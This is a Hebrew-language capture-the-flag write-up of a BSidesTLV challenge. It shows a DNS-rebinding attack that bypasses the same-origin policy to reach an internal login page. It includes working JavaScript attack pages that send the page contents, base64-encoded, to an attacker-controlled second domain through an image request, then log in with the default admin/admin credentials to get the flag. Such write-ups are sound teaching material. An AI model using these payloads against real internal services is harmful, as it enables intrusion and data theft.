Can you bypass the SOP?
נכתב על ידי Yaakov Cohen ו-Narcissus
האתגר לא מסובך, צריך לעקוף SOP ולהתחבר עם פרטי התחברות דיפולטיביים. חבל רק שהפתרון לא כזה ישיר.
הבוט:
צריך להכניס קישור שיאפשר לנו לעקוף את ה-SOP ולהשיג את הדגל.
מצאנו שיטה בשם DNS-rebinding
שנראתה בול מה שאנחנו צריכים (אפשר לקרוא עליה עוד בקישור).
בעזרת השירות הזה ייצרנו שני דומיינים וכיוונו אותם לשרת שבשליטתנו.
- bsidestlv.ddns.net
- bsidestlv2.ddns.net
בשרת שמנו אתר תוקפני:
<html>
<head><meta charset="utf-8"/></head>
<body>
<script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/2.2.1/jquery.min.js'></script>
<script>
setTimeout(function() {
console.log('send request...');
$.get('http://bsidestlv.ddns.net:8080/login', function(data, status, xhr) {
console.log(data);
var image = new Image();
image.src='http://bsidestlv2.ddns.net:8081/index.html?login='+window.btoa(xhr.responseText);
});
},90000);
</script>
</body>
</html>
והרצנו שני שרתי http:
python -m SimpleHTTPServer 8080 &
python -m SimpleHTTPServer 8081 &
עכשיו אנחנו מוכנים למתקפה.
שלחנו לבוט את הקישור http://bsidestlv.ddns.net:8080/index.html
כשקיבלנו בשרת בקשה ראשונה שינינו את האיפיי של הדומיין לאיפיי הפנימי של האפליקציה: 192.168.20.100
. אחרי בערך דקה וחצי קיבלנו תשובה:
<!DOCTYPE html>
<html lang=\"en\">
<head>
<meta charset=\"UTF-8\">
<title>Login page</title>
</head>
<body>
<form method=\"post\">
<div class=\"form-group\">
<label for=\"url\" class=\"col-sm-3 control-label\">Username</label>
<div class=\"col-sm-9\">
<input type=\"text\" id=\"url\" name='username' placeholder=\"Username\">
</div>
</div>
<div class=\"form-group\">
<label for=\"password\" class=\"col-sm-3 control-label\">Password</label>
<div class=\"col-sm-9\">
<input type=\"password\" id=\"password\" name='password' placeholder=\"Password\">
</div>
</div>
<div class=\"form-group\">
<div class=\"col-sm-9 col-sm-offset-3\">
<!--Default credentials: admin/admin-->
<button type=\"submit\" name='submit' class=\"btn btn-primary btn-block\">Login!</button>
</div>
</div>
</center>
<div class=\"form-group\">
</div>
</form> <!-- /form -->
</div> <!-- ./container -->
</body>
</html>"
אנחנו רואים כאן טופס התחברות ושפרטי ההתחברות הדיפולטיביים הם admin:admin
.
ערכנו את האתר התוקף שלנו שישלח את הטופס:
<html>
<head></head>
<body>
<script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/2.2.1/jquery.min.js'></script>
<script>
setTimeout(function() {
console.log('send request...');
$.post('http://bsidestlv.ddns.net:8080/login',
{
username: 'admin',
password: 'admin',
submit: ''
},
function(data,status){
console.log(data);
var image = new Image();
image.src='http://bsidestlv2.ddns.net:8081/index.html?login='+window.btoa(data);
});
},90000);
</script>
</body>
</html>
החזרנו את הדומיין לשרת שלנו והתחלנו מחדש את המתקפה. שליחת הקישור לבוט, ושינוי האיפיי של הדומיין אחרי בקשה ראשונית.
הפעם קיבלנו את הדגל:
<!DOCTYPE html>
<html lang=\"en\">
<head>
<meta charset=\"UTF-8\">
<title>Login page</title>
</head>
<body>
<form method=\"post\">
<div class=\"form-group\">
<label for=\"url\" class=\"col-sm-3 control-label\">Username</label>
<div class=\"col-sm-9\">
<input type=\"text\" id=\"url\" name='username' placeholder=\"Username\">
</div>
</div>
<div class=\"form-group\">
<label for=\"password\" class=\"col-sm-3 control-label\">Password</label>
<div class=\"col-sm-9\">
<input type=\"password\" id=\"password\" name='password' placeholder=\"Password\">
</div>
</div>
<div class=\"form-group\">
<div class=\"col-sm-9 col-sm-offset-3\">
<!--Default credentials: admin/admin-->
<button type=\"submit\" name='submit' class=\"btn btn-primary btn-block\">Login!</button>
</div>
</div>
</center>
<div class=\"form-group\">
Your flag is: BSidesTLV{C4nY0uR3b1n3dMe?}
</div>
</form> <!-- /form -->
</div> <!-- ./container -->
</body>
</html>
כאן אפשר לראות את כל מבנה ההתקפה (התמונה מהגיטהאב שקישרתי עליו בתחילת המדריך: